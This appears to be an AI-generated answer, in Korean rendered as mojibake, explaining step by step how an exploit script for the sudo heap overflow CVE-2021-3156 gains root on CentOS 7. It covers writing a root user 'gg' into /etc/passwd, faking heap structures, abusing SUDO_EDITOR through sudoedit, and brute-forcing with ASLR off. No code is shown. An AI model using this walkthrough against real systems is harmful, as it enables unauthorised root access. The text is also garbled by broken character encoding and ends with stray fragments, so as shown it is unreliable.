answer:์ด ์Šคํฌ๋ฆฝํŠธ๋Š” CVE-2021-3156์ด๋ผ๋Š” ํŠน์ • ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ CentOS 7์—์„œ sudo ๋ฒ„์ „ 1.8.23์„ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” ๊ถŒํ•œ ์ƒ์Šน ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. `sudoedit`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ณผ์ •์—์„œ, ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฉ”๋ชจ๋ฆฌ์ƒ์˜ ํŠน์ • ๊ตฌ์กฐ์ฒด๋“ค์„ ์กฐ์ž‘ํ•˜์—ฌ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ์˜ ์ฃผ์š” ์ž‘์—… ๋‚ด์šฉ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: 1. ํ•„์ˆ˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ํ•จ์ˆ˜๋ฅผ importํ•˜๊ณ  ์ดˆ๊ธฐ ์„ค์ • ๊ฐ’์„ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค. 2. `PASSWD_PATH`๋กœ ์ง€์ •๋œ `/etc/passwd` ํŒŒ์ผ์— ์ƒˆ๋กœ์šด ์‚ฌ์šฉ์ž(์—ฌ๊ธฐ์„œ๋Š” "gg")๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋‚ด์šฉ์˜ ๋ฌธ์ž์—ด์„ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ์‚ฌ์šฉ์ž์—๊ฒŒ๋Š” root ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋ฉ๋‹ˆ๋‹ค. 3. ์Šคํƒ์— ์ €์žฅ๋  false ๊ตฌ์กฐ์ฒด๋“ค์˜ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•˜๊ณ , ์ด๋ฅผ ํ™œ์šฉํ•˜์—ฌ ํž™ ๋ฉ”๋ชจ๋ฆฌ์˜ ํŠน์ • ๋ถ€๋ถ„์„ ์กฐ์ž‘ํ•˜๋Š” ํŒจ์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. 4. ๊ณต๊ฒฉ์„ ์œ„ํ•œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜(`env`)์™€ ๋ช…๋ นํ–‰ ์ธ์ˆ˜(`argv`)๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ์ฃผ์š” ํฌ์ธํŠธ๋Š” `sudoedit`๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด์„œ, ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ์•…์˜์ ์ธ ๊ฐ’์„ ํฌํ•จ์‹œํ‚ค๊ณ  `SUDO_EDITOR` ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ `/etc/passwd` ํŒŒ์ผ์— ์ƒˆ๋กœ์šด ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. 5. `/etc/passwd` ํŒŒ์ผ์— ์ƒˆ๋กœ์šด ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด, ํ‘œ์ค€ ์ž…๋ ฅ์„ ํ†ตํ•ด ์ƒˆ๋กœ์šด ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. 6. ์‹ค์ œ๋กœ `sudoedit` ๋ช…๋ น์„ ํ˜ธ์ถœํ•˜๋ฉฐ, ์ด๋Š” `execve` ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์—์„œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํž™ ๋ฉ”๋ชจ๋ฆฌ์˜ ๊ตฌ์กฐ์ฒด๋ฅผ overwriteํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. 7. ๊ณต๊ฒฉ์ด ์„ฑ๊ณตํ•˜๋ฉด, `/etc/passwd` ํŒŒ์ผ์— ์„ฑ๊ณต์ ์œผ๋กœ ์ƒˆ๋กœ์šด ์‚ฌ์šฉ์ž๊ฐ€ ์ถ”๊ฐ€๋˜์–ด, ๊ณต๊ฒฉ์ž๋Š” ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ root ์ ‘๊ทผ ๊ถŒํ•œ์„ ์–ป๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ฐธ๊ณ ๋กœ, ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ASLR(Address Space Layout Randomization)์ด ๋น„ํ™œ์„ฑํ™”๋œ ์ƒํƒœ์—์„œ๋งŒ ์ œ๋Œ€๋กœ ์ž‘๋™ํ•˜๋ฉฐ, ๊ณต๊ฒฉ ์„ฑ๊ณต ์—ฌ๋ถ€๋Š” ํ™˜๊ฒฝ์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ๋˜ํ•œ ๊ณต๊ฒฉ์„ ์œ„ํ•ด ๋ธŒ๋ฃจํŠธํฌ์‹ฑ์„ ์ˆ˜ํ–‰ํ•˜๋Š”๋ฐ, ์ด ๊ณผ์ •์€ ์ฆ‰์‹œ ์„ฑ๊ณตํ•  ์ˆ˜๋„ ์žˆ๊ณ , 10๋ถ„ ์ด์ƒ ๊ฑธ๋ฆด ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

Released under the MIT License.

has loaded